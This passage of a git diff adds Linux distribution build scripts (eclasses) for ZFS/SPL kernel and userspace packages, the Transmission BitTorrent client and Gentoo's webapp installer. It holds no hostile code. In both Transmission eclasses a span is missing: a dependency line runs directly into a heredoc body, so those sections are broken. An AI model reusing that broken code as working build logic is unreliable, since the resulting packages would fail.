myeconfargs=( + --bindir="${EPREFIX}/bin" + --sbindir="${EPREFIX}/sbin" + --with-config=all + --with-linux="${KV_DIR}" + --with-linux-obj="${KV_OUT_DIR}" + $(use_enable debug) + --with-config=kernel + ) + cd "${SPL_S}" && ECONF_SOURCE="${SPL_S}" autotools-utils_src_configure +} + +spl-zfs-kernel_src_configure() { + _spl_src_configure + _zfs_src_configure +} + +_zfs_src_compile() { + cd "${ZFS_S}" && ECONF_SOURCE="${ZFS_S}" autotools-utils_src_compile +} + +_spl_src_compile() { + cd "${SPL_S}" && ECONF_SOURCE="${SPL_S}" autotools-utils_src_compile +} + +spl-zfs-kernel_src_compile() { + _spl_src_compile + _zfs_src_compile +} + +_zfs_src_install() { + cd "${ZFS_S}" && ECONF_SOURCE="${ZFS_S}" autotools-utils_src_install + rm -rf "${ED}"/usr # make sure +} + +_spl_src_install() { + cd "${SPL_S}" && ECONF_SOURCE="${SPL_S}" autotools-utils_src_install + rm -rf "${ED}"/usr # make sure +} + +spl-zfs-kernel_src_install() { + _spl_src_install + _zfs_src_install +} + +spl-zfs-kernel_pkg_preinst() { + linux-mod_pkg_preinst +} + +spl-zfs-kernel_pkg_postinst() { + linux-mod_pkg_postinst +} + +spl-zfs-kernel_pkg_postrm() { + linux-mod_pkg_postrm +} diff --git a/eclass/spl-zfs-userspace.eclass b/eclass/spl-zfs-userspace.eclass new file mode 100644 index 00000000..33c211a6 --- /dev/null +++ b/eclass/spl-zfs-userspace.eclass @@ -0,0 +1,218 @@ +# Copyright 2004-2012 Sabayon Linux +# Distributed under the terms of the GNU General Public License v2 +# $ + +AT_M4DIR="config" +AUTOTOOLS_AUTORECONF="1" +AUTOTOOLS_IN_SOURCE_BUILD="1" + +inherit eutils flag-o-matic git-2 linux-mod autotools-utils + +# export all the available functions here +EXPORT_FUNCTIONS pkg_setup src_unpack src_prepare src_configure src_compile src_install src_test + +# @ECLASS-VARIABLE: ZFS_GIT_REPO +# @DESCRIPTION: +# Identified the ZFS Git repo from where to pull +ZFS_GIT_REPO="${ZFS_GIT_REPO:-}" + +# @ECLASS-VARIABLE: ZFS_GIT_BRANCH +# @DESCRIPTION: +# Identified the ZFS Git branch from where to pull +ZFS_GIT_BRANCH="${ZFS_GIT_BRANCH:-}" + +# @ECLASS-VARIABLE: ZFS_GIT_COMMIT +# @DESCRIPTION: +# Identified the ZFS Git commit from where to pull +ZFS_GIT_COMMIT="${ZFS_GIT_COMMIT:-}" + +# @ECLASS-VARIABLE: SPL_GIT_REPO +# @DESCRIPTION: +# Identified the SPL Git repo from where to pull +SPL_GIT_REPO="${SPL_GIT_REPO:-}" + +# @ECLASS-VARIABLE: SPL_GIT_BRANCH +# @DESCRIPTION: +# Identified the SPL Git branch from where to pull +SPL_GIT_BRANCH="${SPL_GIT_BRANCH:-}" + +# @ECLASS-VARIABLE: SPL_GIT_COMMIT +# @DESCRIPTION: +# Identified the SPL Git commit from where to pull +SPL_GIT_COMMIT="${SPL_GIT_COMMIT:-}" + +SRC_URI="" + +DESCRIPTION="The Solaris Porting Layer and ZFS Filesystem userspace utilities" +HOMEPAGE="http://zfsonlinux.org/" + +LICENSE="|| ( GPL-2 GPL-3 ) CDDL" +SLOT="0" +KEYWORDS="~amd64 ~x86" + +IUSE="custom-cflags debug dracut +rootfs test test-suite static-libs" +DEPEND+=" sys-apps/util-linux[static-libs?] + sys-libs/zlib[static-libs(+)?]" +RDEPEND+=" ${DEPEND} + !sys-fs/zfs-fuse + !prefix? ( sys-fs/udev ) + test-suite? ( + sys-apps/gawk + sys-apps/util-linux + sys-devel/bc + sys-block/parted + sys-fs/lsscsi + sys-fs/mdadm + sys-process/procps + virtual/modutils + ) + rootfs? ( + app-arch/cpio + app-misc/pax-utils + )" +DEPEND+=" test? ( sys-fs/mdadm )" + +SPL_S="${S}/spl-src" +ZFS_S="${S}/zfs-src" + +spl-zfs-userspace_pkg_setup() { + CONFIG_CHECK=" + !DEBUG_LOCK_ALLOC + BLK_DEV_LOOP + EFI_PARTITION + MODULES + KALLSYMS + ZLIB_DEFLATE + ZLIB_INFLATE" + kernel_is ge 2 6 26 || die "Linux 2.6.26 or newer required" + check_extra_config +} + +spl-zfs-userspace_src_unpack() { + # unpack spl + EGIT_REPO_URI="${SPL_GIT_REPO}" \ + EGIT_BRANCH="${SPL_GIT_BRANCH}" \ + EGIT_COMMIT="${SPL_GIT_COMMIT}" \ + EGIT_SOURCEDIR="${SPL_S}" \ + git-2_src_unpack + + # unpack zfs + EGIT_REPO_URI="${ZFS_GIT_REPO}" \ + EGIT_BRANCH="${ZFS_GIT_BRANCH}" \ + EGIT_COMMIT="${ZFS_GIT_COMMIT}" \ + EGIT_SOURCEDIR="${ZFS_S}" \ + git-2_src_unpack +} + +_zfs_src_prepare() { + # Workaround for hard coded path + sed -i "s|/sbin/lsmod|/bin/lsmod|" "${ZFS_S}"/scripts/common.sh.in || die + # Workaround rename + sed -i "s|/usr/bin/scsi-rescan|/usr/sbin/rescan-scsi-bus|" "${ZFS_S}"/scripts/common.sh.in || die + cd "${ZFS_S}" && ECONF_SOURCE="${ZFS_S}" autotools-utils_src_prepare +} + +_spl_src_prepare() { + # Workaround for hard coded path + sed -i "s|/sbin/lsmod|/bin/lsmod|" "${SPL_S}"/scripts/check.sh || die + cd "${SPL_S}" && ECONF_SOURCE="${SPL_S}" autotools-utils_src_prepare +} + +spl-zfs-userspace_src_prepare() { + _spl_src_prepare + _zfs_src_prepare +} + +_zfs_src_configure() { + use custom-cflags || strip-flags + set_arch_to_kernel + + local myeconfargs=( + --bindir="${EPREFIX}/bin" + --sbindir="${EPREFIX}/sbin" + --with-config=user + --with-linux="${KV_DIR}" + --with-linux-obj="${KV_OUT_DIR}" + --with-udevdir="${EPREFIX}/lib/udev" + $(use_enable debug) + --with-spl="${SPL_S}" + ) + cd "${ZFS_S}" && ECONF_SOURCE="${ZFS_S}" autotools-utils_src_configure +} + +_spl_src_configure() { + use custom-cflags || strip-flags + set_arch_to_kernel + + local myeconfargs=( + --bindir="${EPREFIX}/bin" + --sbindir="${EPREFIX}/sbin" + --with-config=all + --with-linux="${KV_DIR}" + --with-linux-obj="${KV_OUT_DIR}" + $(use_enable debug) + --with-config=user + ) + cd "${SPL_S}" && ECONF_SOURCE="${SPL_S}" autotools-utils_src_configure +} + +spl-zfs-userspace_src_configure() { + _spl_src_configure + _zfs_src_configure +} + +_zfs_src_compile() { + cd "${ZFS_S}" && ECONF_SOURCE="${ZFS_S}" autotools-utils_src_compile +} + +_spl_src_compile() { + cd "${SPL_S}" && ECONF_SOURCE="${SPL_S}" autotools-utils_src_compile +} + +spl-zfs-userspace_src_compile() { + _spl_src_compile + _zfs_src_compile +} + +_zfs_src_install() { + cd "${ZFS_S}" && ECONF_SOURCE="${ZFS_S}" autotools-utils_src_install + gen_usr_ldscript -a uutil nvpair zpool zfs + use dracut || rm -rf "${ED}usr/share/dracut" + use test-suite || rm -rf "${ED}usr/libexec" + + if use rootfs + then + doinitd "${FILESDIR}/zfs-shutdown" + exeinto /usr/share/zfs + doexe "${FILESDIR}/linuxrc" + fi +} + +_spl_src_install() { + cd "${SPL_S}" && ECONF_SOURCE="${SPL_S}" autotools-utils_src_install + rm -rf "${ED}"/usr # make sure +} + +spl-zfs-userspace_src_install() { + _spl_src_install + _zfs_src_install +} + +spl-zfs-userspace_src_test() { + if [[ ! -e /proc/modules ]] + then + die "Missing /proc/modules" + elif [[ $UID -ne 0 ]] + then + ewarn "Cannot run make check tests with FEATURES=userpriv." + ewarn "Skipping make check tests." + elif grep -q '^spl ' /proc/modules + then + ewarn "Cannot run make check tests with module spl loaded." + ewarn "Skipping make check tests." + else + cd "${SPL_S}" && ECONF_SOURCE="${SPL_S}" autotools-utils_src_test + cd "${ZFS_S}" && ECONF_SOURCE="${ZFS_S}" autotools-utils_src_test + fi +} + diff --git a/eclass/transmission-2.51.eclass b/eclass/transmission-2.51.eclass new file mode 100644 index 00000000..e1e32e02 --- /dev/null +++ b/eclass/transmission-2.51.eclass @@ -0,0 +1,294 @@ +# Copyright 1999-2012 Sabayon +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +# @ECLASS: transmission-2.51.eclass +# @MAINTAINER: +# slawomir.nizio@sabayon.org +# @AUTHOR: +# SÅ‚awomir Nizio +# @BLURB: eclass to ease managing of Sabayon split net-p2p/transmission +# @DESCRIPTION: +# This eclass is to ease managing of split net-p2p/transmission for Sabayon. +# Its name contains a version that corresponds to net-p2p/transmission one, +# because the eclass will change often when needed to follow changes +# in Gentoo ebuild. + +# @ECLASS-VARIABLE: TRANSMISSION_ECLASS_VERSION_OK +# @DESCRIPTION: +# Set this to x.y if you want to use transmission-x.y.eclass from ebuild +# with ${PV} different than x.y. This is to catch bugs. +: ${TRANSMISSION_ECLASS_VERSION_OK:=${PV}} + +# @ECLASS-VARIABLE: E_TRANSM_TAIL +# @DESCRIPTION: +# "Tail" of package name. Can take value gtk, qt4, etc. or can be empty. +# It shouldn't be modified. +E_TRANSM_TAIL=${PN#transmission} +E_TRANSM_TAIL=${E_TRANSM_TAIL#-} + +# @FUNCTION: _transmission_is +# @DESCRIPTION: +# Function used to check which variant of Transmission are we working on. +# Argument should be one of these: (none), gtk, qt4, daemon, cli, base. +# If argument is empty or omitted, true value means that it is +# net-p2p/transmission (metapackage). +# Consider it private. +_transmission_is() { + local what=$1 + [[ ${what} = "${E_TRANSM_TAIL}" ]] +} + +LANGS="en es kk lt pt_BR ru" # used only for -qt + +unset _live_inherits +if [[ ${PV} == *9999* ]]; then + # not tested in the eclass + ESVN_REPO_URI="svn://svn.transmissionbt.com/Transmission/trunk" + _live_inherits=subversion +fi + +MY_ECLASSES="" +_transmission_is gtk && MY_ECLASSES+="fdo-mime gnome2-utils" +_transmission_is qt4 && MY_ECLASSES+="fdo-mime qt4-r2" +_transmission_is "" || MY_ECLASSES+=" autotools" + +inherit eutils multilib ${MY_ECLASSES} ${_live_inherits} + +unset MY_ECLASSES + +case ${EAPI:-0} in + 4|3) EXPORT_FUNCTIONS pkg_setup src_prepare src_configure src_compile \ + pkg_preinst pkg_postinst pkg_postrm ;; + *) die "EAPI=${EAPI} is not supported" ;; +esac + +[[ ${PN} = transmission* ]] || \ + die "This eclass can only be used with net-p2p/transmission* ebuilds!" +# Bug catcher! +if ! [[ ${PV} = *9999* ]] && [[ ${TRANSMISSION_ECLASS_VERSION_OK} != ${ECLASS#*-} ]]; then + eerror "used eclass ${ECLASS}" + eerror "TRANSMISSION_ECLASS_VERSION_OK=${TRANSMISSION_ECLASS_VERSION_OK}" + die "ebuild version ${PV} doesn't match with the eclass" +fi + +MY_PN="transmission" +MY_P="${MY_PN}-${PV}" + +DESCRIPTION="A Fast, Easy and Free BitTorrent client" +HOMEPAGE="http://www.transmissionbt.com/" +SRC_URI="http://download.transmissionbt.com/${MY_PN}/files/${MY_P}.tar.xz" + +LICENSE="GPL-2 MIT" +SLOT="0" +IUSE="" + +# only common dependencies plus blockers +RDEPEND="" +_transmission_is base || RDEPEND+="~net-p2p/transmission-base-${PV}" +if ! _transmission_is ""; then + RDEPEND+=" + >=dev-libs/libevent-2.0.10 + dev-libs/openssl:0 + >=net-libs/miniupnpc-1.6 + >=net-misc/curl-7.16.3[ssl] + net-libs/libnatpmp + sys-libs/zlib" +fi + +DEPEND="${RDEPEND}" +if _transmission_is base; then + RDEPEND+=" ! "${T}"/${MY_PN}-magnet.protocol + [Protocol] + exec=transmission-qt '%u' + protocol=magnet + Icon=transmission + input=none + output=none + helper=true + listing= + reading=false + writing=false + makedir=false + deleting=false + EOF + fi + + if ! _transmission_is base; then + local sedcmd="s:\$(top_builddir)/libtransmission/libtransmission.a:" + sedcmd+="${EROOT}usr/$(get_libdir)/libtransmission.a:" + find . -name Makefile.in -exec sed -i -e "${sedcmd}" {} \; || die + sed -i -e '/libtransmission \\/d' Makefile.in || die + if _transmission_is qt4; then + sedcmd="s:\$\${TRANSMISSION_TOP}/libtransmission/libtransmission.a:" + sedcmd+="${EROOT}usr/$(get_libdir)/libtransmission.a:" + sed -i -e "${sedcmd}" qt/qtr.pro || die + fi + fi +} + +transmission-2.51_src_configure() { + _transmission_is "" && return + + local econfargs=( + --enable-external-natpmp + ) + + if _transmission_is base; then + export ac_cv_header_xfs_xfs_h=$(usex xfs) + econfargs+=( + --disable-cli + --disable-daemon + --without-gtk + $(use_enable lightweight) + ) + elif _transmission_is cli; then + econfargs+=( + --enable-cli + --disable-daemon + --without-gtk + ) + elif _transmission_is daemon; then + econfargs+=( + --disable-cli + --enable-daemon + --without-gtk + ) + elif _transmission_is gtk; then + econfargs+=( + --disable-cli + --disable-daemon + --with-gtk + ) + elif _transmission_is qt4; then + econfargs+=( + --disable-cli + --disable-daemon + --without-gtk + ) + else + die "Something is wrong... (E_TRANSM_TAIL=$E_TRANSM_TAIL)" + fi + + econf "${econfargs[@]}" + if _transmission_is qt4; then + pushd qt >/dev/null + eqmake4 qtr.pro + popd >/dev/null + fi +} + +transmission-2.51_src_compile() { + _transmission_is "" && return + + emake + if _transmission_is qt4; then + pushd qt >/dev/null + emake + + local l + for l in ${LANGS}; do + if use linguas_${l}; then + lrelease translations/${MY_PN}_${l}.ts + fi + done + popd >/dev/null + fi +} + + +# Note: not providing src_install. Too many differences and too much code +# which would only clutter this pretty eclass. + +transmission-2.51_pkg_preinst() { + _transmission_is gtk && gnome2_icon_savelist +} + +transmission-2.51_pkg_postinst() { + if _transmission_is gtk || _transmission_is qt4; then + fdo-mime_desktop_database_update + fi + + _transmission_is gtk && gnome2_icon_cache_update + + if _transmission_is daemon; then + elog "If you use ${MY_PN}-daemon, please, set 'rpc-username' and" + elog "'rpc-password' (in plain text, ${MY_PN}-daemon will hash it on" + elog "start) in settings.json file located at /var/${MY_PN}/config or" + elog "any other appropriate config directory." + fi + + if _transmission_is gtk; then + # in -gtk only? + elog + elog "To enable sound emerge media-libs/libcanberra and check that at least" + elog "some sound them is selected. For this go:" + elog "Gnome/system/preferences/sound themes tab and 'sound theme: default'" + elog + fi + + elog "Since µTP is enabled by default, ${MY_PN} needs large kernel buffers for" + elog "the UDP socket. You can append following lines into /etc/sysctl.conf:" + elog " net.core.rmem_max = 4194304" + elog " net.core.wmem_max = 1048576" + elog "and run sysctl -p" +} + +transmission-2.51_pkg_postrm() { + if _transmission_is gtk || _transmission_is qt4; then + fdo-mime_desktop_database_update + fi + + _transmission_is gtk && gnome2_icon_cache_update +} diff --git a/eclass/transmission-2.52.eclass b/eclass/transmission-2.52.eclass new file mode 100644 index 00000000..17b3aa14 --- /dev/null +++ b/eclass/transmission-2.52.eclass @@ -0,0 +1,295 @@ +# Copyright 1999-2012 Sabayon +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +# @ECLASS: transmission-2.52.eclass +# @MAINTAINER: +# slawomir.nizio@sabayon.org +# @AUTHOR: +# SÅ‚awomir Nizio +# @BLURB: eclass to ease managing of Sabayon split net-p2p/transmission +# @DESCRIPTION: +# This eclass is to ease managing of split net-p2p/transmission for Sabayon. +# Its name contains a version that corresponds to net-p2p/transmission one, +# because the eclass will change often when needed to follow changes +# in Gentoo ebuild. + +# @ECLASS-VARIABLE: TRANSMISSION_ECLASS_VERSION_OK +# @DESCRIPTION: +# Set this to x.y if you want to use transmission-x.y.eclass from ebuild +# with ${PV} different than x.y. This is to catch bugs. +: ${TRANSMISSION_ECLASS_VERSION_OK:=${PV}} + +# @ECLASS-VARIABLE: E_TRANSM_TAIL +# @DESCRIPTION: +# "Tail" of package name. Can take value gtk, qt4, etc. or can be empty. +# It shouldn't be modified. +E_TRANSM_TAIL=${PN#transmission} +E_TRANSM_TAIL=${E_TRANSM_TAIL#-} + +# @FUNCTION: _transmission_is +# @DESCRIPTION: +# Function used to check which variant of Transmission are we working on. +# Argument should be one of these: (none), gtk, qt4, daemon, cli, base. +# If argument is empty or omitted, true value means that it is +# net-p2p/transmission (metapackage). +# Consider it private. +_transmission_is() { + local what=$1 + [[ ${what} = "${E_TRANSM_TAIL}" ]] +} + +LANGS="en es kk lt pt_BR ru" # used only for -qt + +unset _live_inherits +if [[ ${PV} == *9999* ]]; then + # not tested in the eclass + ESVN_REPO_URI="svn://svn.transmissionbt.com/Transmission/trunk" + _live_inherits=subversion +fi + +MY_ECLASSES="" +_transmission_is gtk && MY_ECLASSES+="fdo-mime gnome2-utils" +_transmission_is qt4 && MY_ECLASSES+="fdo-mime qt4-r2" +_transmission_is "" || MY_ECLASSES+=" autotools" + +inherit eutils multilib ${MY_ECLASSES} ${_live_inherits} + +unset MY_ECLASSES + +case ${EAPI:-0} in + 4|3) EXPORT_FUNCTIONS pkg_setup src_prepare src_configure src_compile \ + pkg_preinst pkg_postinst pkg_postrm ;; + *) die "EAPI=${EAPI} is not supported" ;; +esac + +[[ ${PN} = transmission* ]] || \ + die "This eclass can only be used with net-p2p/transmission* ebuilds!" +# Bug catcher! +if ! [[ ${PV} = *9999* ]] && [[ ${TRANSMISSION_ECLASS_VERSION_OK} != ${ECLASS#*-} ]]; then + eerror "used eclass ${ECLASS}" + eerror "TRANSMISSION_ECLASS_VERSION_OK=${TRANSMISSION_ECLASS_VERSION_OK}" + die "ebuild version ${PV} doesn't match with the eclass" +fi + +MY_PN="transmission" +MY_P="${MY_PN}-${PV}" + +DESCRIPTION="A Fast, Easy and Free BitTorrent client" +HOMEPAGE="http://www.transmissionbt.com/" +SRC_URI="http://download.transmissionbt.com/${MY_PN}/files/${MY_P}.tar.xz" + +LICENSE="GPL-2 MIT" +SLOT="0" +IUSE="" + +# only common dependencies plus blockers +RDEPEND="" +_transmission_is base || RDEPEND+="~net-p2p/transmission-base-${PV}" +if ! _transmission_is ""; then + RDEPEND+=" + >=dev-libs/libevent-2.0.10 + dev-libs/openssl:0 + >=net-libs/miniupnpc-1.6.20120509 + >=net-misc/curl-7.16.3[ssl] + net-libs/libnatpmp + sys-libs/zlib" +fi + +DEPEND="${RDEPEND}" +if _transmission_is base; then + RDEPEND+=" ! "${T}"/${MY_PN}-magnet.protocol + [Protocol] + exec=transmission-qt '%u' + protocol=magnet + Icon=transmission + input=none + output=none + helper=true + listing= + reading=false + writing=false + makedir=false + deleting=false + EOF + fi + + if ! _transmission_is base; then + local sedcmd="s:\$(top_builddir)/libtransmission/libtransmission.a:" + sedcmd+="${EROOT}usr/$(get_libdir)/libtransmission.a:" + find . -name Makefile.in -exec sed -i -e "${sedcmd}" {} \; || die + sed -i -e '/libtransmission \\/d' Makefile.in || die + if _transmission_is qt4; then + sedcmd="s:\$\${TRANSMISSION_TOP}/libtransmission/libtransmission.a:" + sedcmd+="${EROOT}usr/$(get_libdir)/libtransmission.a:" + sed -i -e "${sedcmd}" qt/qtr.pro || die + fi + fi +} + +transmission-2.52_src_configure() { + _transmission_is "" && return + + local econfargs=( + --enable-external-natpmp + ) + + if _transmission_is base; then + export ac_cv_header_xfs_xfs_h=$(usex xfs) + econfargs+=( + --disable-cli + --disable-daemon + --without-gtk + $(use_enable lightweight) + ) + elif _transmission_is cli; then + econfargs+=( + --enable-cli + --disable-daemon + --without-gtk + ) + elif _transmission_is daemon; then + econfargs+=( + --disable-cli + --enable-daemon + --without-gtk + ) + elif _transmission_is gtk; then + econfargs+=( + --disable-cli + --disable-daemon + --with-gtk + ) + elif _transmission_is qt4; then + econfargs+=( + --disable-cli + --disable-daemon + --without-gtk + ) + else + die "Something is wrong... (E_TRANSM_TAIL=$E_TRANSM_TAIL)" + fi + + econf "${econfargs[@]}" + if _transmission_is qt4; then + pushd qt >/dev/null + eqmake4 qtr.pro + popd >/dev/null + fi +} + +transmission-2.52_src_compile() { + _transmission_is "" && return + + emake + if _transmission_is qt4; then + pushd qt >/dev/null + emake + + local l + for l in ${LANGS}; do + if use linguas_${l}; then + lrelease translations/${MY_PN}_${l}.ts + fi + done + popd >/dev/null + fi +} + + +# Note: not providing src_install. Too many differences and too much code +# which would only clutter this pretty eclass. + +transmission-2.52_pkg_preinst() { + _transmission_is gtk && gnome2_icon_savelist +} + +transmission-2.52_pkg_postinst() { + if _transmission_is gtk || _transmission_is qt4; then + fdo-mime_desktop_database_update + fi + + _transmission_is gtk && gnome2_icon_cache_update + + if _transmission_is daemon; then + elog "If you use ${MY_PN}-daemon, please, set 'rpc-username' and" + elog "'rpc-password' (in plain text, ${MY_PN}-daemon will hash it on" + elog "start) in settings.json file located at /var/${MY_PN}/config or" + elog "any other appropriate config directory." + fi + + if _transmission_is gtk; then + # in -gtk only? + elog + elog "To enable sound emerge media-libs/libcanberra and check that at least" + elog "some sound them is selected. For this go:" + elog "Gnome/system/preferences/sound themes tab and 'sound theme: default'" + elog + fi + + elog "Since µTP is enabled by default, ${MY_PN} needs large kernel buffers for" + elog "the UDP socket. You can append following lines into /etc/sysctl.conf:" + elog " net.core.rmem_max = 4194304" + elog " net.core.wmem_max = 1048576" + elog "and run sysctl -p" +} + +transmission-2.52_pkg_postrm() { + if _transmission_is gtk || _transmission_is qt4; then + fdo-mime_desktop_database_update + fi + + _transmission_is gtk && gnome2_icon_cache_update +} diff --git a/eclass/webapp.eclass b/eclass/webapp.eclass new file mode 100644 index 00000000..150f7ac3 --- /dev/null +++ b/eclass/webapp.eclass @@ -0,0 +1,575 @@ +# Copyright 1999-2006 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/eclass/webapp.eclass,v 1.66 2011/05/19 12:05:13 scarabeus Exp $ + +# @ECLASS: webapp.eclass +# @MAINTAINER: +# web-apps@gentoo.org +# @BLURB: functions for installing applications to run under a web server +# @DESCRIPTION: +# The webapp eclass contains functions to handle web applications with +# webapp-config. Part of the implementation of GLEP #11 + +# @ECLASS-VARIABLE: WEBAPP_DEPEND +# @DESCRIPTION: +# An ebuild should use WEBAPP_DEPEND if a custom DEPEND needs to be built, most +# notably in combination with WEBAPP_OPTIONAL. +WEBAPP_DEPEND=">=app-admin/webapp-config-1.50.15" + +# @ECLASS-VARIABLE: WEBAPP_NO_AUTO_INSTALL +# @DESCRIPTION: +# An ebuild sets this to `yes' if an automatic installation and/or upgrade is +# not possible. The ebuild should overwrite pkg_postinst() and explain the +# reason for this BEFORE calling webapp_pkg_postinst(). + +# @ECLASS-VARIABLE: WEBAPP_OPTIONAL +# @DESCRIPTION: +# An ebuild sets this to `yes' to make webapp support optional, in which case +# you also need to take care of USE-flags and dependencies. + +if [[ "${WEBAPP_OPTIONAL}" != "yes" ]]; then + [[ "${WEBAPP_NO_AUTO_INSTALL}" == "yes" ]] || IUSE="vhosts" + SLOT="${PVR}" + DEPEND="${WEBAPP_DEPEND}" + RDEPEND="${DEPEND}" +fi + +EXPORT_FUNCTIONS pkg_postinst pkg_setup src_install pkg_prerm + +INSTALL_DIR="/${PN}" +IS_UPGRADE=0 +IS_REPLACE=0 + +INSTALL_CHECK_FILE="installed_by_webapp_eclass" +SETUP_CHECK_FILE="setup_by_webapp_eclass" + +ETC_CONFIG="${ROOT}etc/vhosts/webapp-config" +WEBAPP_CONFIG="${ROOT}usr/sbin/webapp-config" +WEBAPP_CLEANER="${ROOT}usr/sbin/webapp-cleaner" + +# ============================================================================== +# INTERNAL FUNCTIONS +# ============================================================================== + +# Load the config file /etc/vhosts/webapp-config +# Supports both the old bash version, and the new python version +webapp_read_config() { + debug-print-function $FUNCNAME $* + + if has_version '>=app-admin/webapp-config-1.50'; then + ENVVAR=$(${WEBAPP_CONFIG} --query ${PN} ${PVR}) || die "Could not read settings from webapp-config!" + eval ${ENVVAR} + else + . ${ETC_CONFIG} || die "Unable to read ${ETC_CONFIG}" + fi +} + +# Check whether a specified file exists in the given directory (`.' by default) +webapp_checkfileexists() { + debug-print-function $FUNCNAME $* + + local my_prefix=${2:+${2}/} + + if [[ ! -e "${my_prefix}${1}" ]]; then + msg="ebuild fault: file '${1}' not found" + eerror "$msg" + eerror "Please report this as a bug at http://bugs.gentoo.org/" + die "$msg" + fi +} + +webapp_check_installedat() { + debug-print-function $FUNCNAME $* + ${WEBAPP_CONFIG} --show-installed -h localhost -d "${INSTALL_DIR}" 2> /dev/null +} + +webapp_strip_appdir() { + debug-print-function $FUNCNAME $* + echo "${1#${MY_APPDIR}/}" +} + +webapp_strip_d() { + debug-print-function $FUNCNAME $* + echo "${1#${D}}" +} + +webapp_strip_cwd() { + debug-print-function $FUNCNAME $* + echo "${1/#.\///}" +} + +webapp_getinstalltype() { + debug-print-function $FUNCNAME $* + + if ! has vhosts ${IUSE} || use vhosts; then + return + fi + + local my_output + my_output="$(webapp_check_installedat)" + + if [[ $? -eq 0 ]]; then + # something is already installed there + # make sure it isn't the same version + + local my_pn="$(echo ${my_output} | awk '{ print $1 }')" + local my_pvr="$(echo ${my_output} | awk '{ print $2 }')" + + REMOVE_PKG="${my_pn}-${my_pvr}" + + if [[ "${my_pn}" == "${PN}" ]]; then + if [[ "${my_pvr}" != "${PVR}" ]]; then + elog "This is an upgrade" + IS_UPGRADE=1 + # for binpkgs, reset status, var declared in global scope + IS_REPLACE=0 + else + elog "This is a re-installation" + IS_REPLACE=1 + # for binpkgs, reset status, var declared in global scope + IS_UPGRADE=0 + fi + else + elog "${my_output} is installed there" + fi + else + # for binpkgs, reset status, var declared in global scope + IS_REPLACE=0 + IS_UPGRADE=0 + elog "This is an installation" + fi +} + +# ============================================================================== +# PUBLIC FUNCTIONS +# ============================================================================== + +# @FUNCTION: need_httpd +# @DESCRIPTION: +# Call this function AFTER your ebuilds DEPEND line if any of the available +# webservers are able to run this application. +need_httpd() { + DEPEND="${DEPEND} + || ( virtual/httpd-basic virtual/httpd-cgi virtual/httpd-fastcgi )" +} + +# @FUNCTION: need_httpd_cgi +# @DESCRIPTION: +# Call this function AFTER your ebuilds DEPEND line if any of the available +# CGI-capable webservers are able to run this application. +need_httpd_cgi() { + DEPEND="${DEPEND} + || ( virtual/httpd-cgi virtual/httpd-fastcgi )" +} + +# @FUNCTION: need_httpd_fastcgi +# @DESCRIPTION: +# Call this function AFTER your ebuilds DEPEND line if any of the available +# FastCGI-capabale webservers are able to run this application. +need_httpd_fastcgi() { + DEPEND="${DEPEND} + virtual/httpd-fastcgi" +} + +# @FUNCTION: webapp_configfile +# @USAGE: [more files ...] +# @DESCRIPTION: +# Mark a file config-protected for a web-based application. +webapp_configfile() { + debug-print-function $FUNCNAME $* + + local m + for m in "$@"; do + webapp_checkfileexists "${m}" "${D}" + + local my_file="$(webapp_strip_appdir "${m}")" + my_file="$(webapp_strip_cwd "${my_file}")" + + elog "(config) ${my_file}" + echo "${my_file}" >> ${D}/${WA_CONFIGLIST} + done +} + +# @FUNCTION: webapp_hook_script +# @USAGE: +# @DESCRIPTION: +# Install a script that will run after a virtual copy is created, and +# before a virtual copy has been removed. +webapp_hook_script() { + debug-print-function $FUNCNAME $* + + webapp_checkfileexists "${1}" + + elog "(hook) ${1}" + cp "${1}" "${D}/${MY_HOOKSCRIPTSDIR}/$(basename "${1}")" || die "Unable to install ${1} into ${D}/${MY_HOOKSCRIPTSDIR}/" + chmod 555 "${D}/${MY_HOOKSCRIPTSDIR}/$(basename "${1}")" +} + +# @FUNCTION: webapp_postinst_txt +# @USAGE: +# @DESCRIPTION: +# Install a text file containing post-installation instructions. +webapp_postinst_txt() { + debug-print-function $FUNCNAME $* + + webapp_checkfileexists "${2}" + + elog "(info) ${2} (lang: ${1})" + cp "${2}" "${D}/${MY_APPDIR}/postinst-${1}.txt" +} + +# @FUNCTION: webapp_postupgrade_txt +# @USAGE: +# @DESCRIPTION: +# Install a text file containing post-upgrade instructions. +webapp_postupgrade_txt() { + debug-print-function $FUNCNAME $* + + webapp_checkfileexists "${2}" + + elog "(info) ${2} (lang: ${1})" + cp "${2}" "${D}/${MY_APPDIR}/postupgrade-${1}.txt" +} + +# helper for webapp_serverowned() +_webapp_serverowned() { + debug-print-function $FUNCNAME $* + + webapp_checkfileexists "${1}" "${D}" + local my_file="$(webapp_strip_appdir "${1}")" + my_file="$(webapp_strip_cwd "${my_file}")" + + elog "(server owned) ${my_file}" + echo "${my_file}" >> "${D}/${WA_SOLIST}" +} + +# @FUNCTION: webapp_serverowned +# @USAGE: [-R] [more files ...] +# @DESCRIPTION: +# Identify a file which must be owned by the webserver's user:group settings. +# The ownership of the file is NOT set until the application is installed using +# the webapp-config tool. If -R is given directories are handled recursively. +webapp_serverowned() { + debug-print-function $FUNCNAME $* + + local a m + if [[ "${1}" == "-R" ]]; then + shift + for m in "$@"; do + find "${D}${m}" | while read a; do + a=$(webapp_strip_d "${a}") + _webapp_serverowned "${a}" + done + done + else + for m in "$@"; do + _webapp_serverowned "${m}" + done + fi +} + +# @FUNCTION: webapp_server_configfile +# @USAGE: [new name] +# @DESCRIPTION: +# Install a configuration file for the webserver. You need to specify a +# webapp-config supported . if no new name is given `basename $2' is +# used by default. Note: this function will automagically prepend $1 to the +# front of your config file's name. +webapp_server_configfile() { + debug-print-function $FUNCNAME $* + + webapp_checkfileexists "${2}" + + # WARNING: + # + # do NOT change the naming convention used here without changing all + # the other scripts that also rely upon these names + + local my_file="${1}-${3:-$(basename "${2}")}" + + elog "(${1}) config file '${my_file}'" + cp "${2}" "${D}/${MY_SERVERCONFIGDIR}/${my_file}" +} + +# @FUNCTION: webapp_sqlscript +# @USAGE: [version] +# @DESCRIPTION: +# Install a SQL script that creates/upgrades a database schema for the web +# application. Currently supported database engines are mysql and postgres. +# If a version is given the script should upgrade the database schema from +# the given version to $PVR. +webapp_sqlscript() { + debug-print-function $FUNCNAME $* + + webapp_checkfileexists "${2}" + + dodir "${MY_SQLSCRIPTSDIR}/${1}" + + # WARNING: + # + # do NOT change the naming convention used here without changing all + # the other scripts that also rely upon these names + + if [[ -n 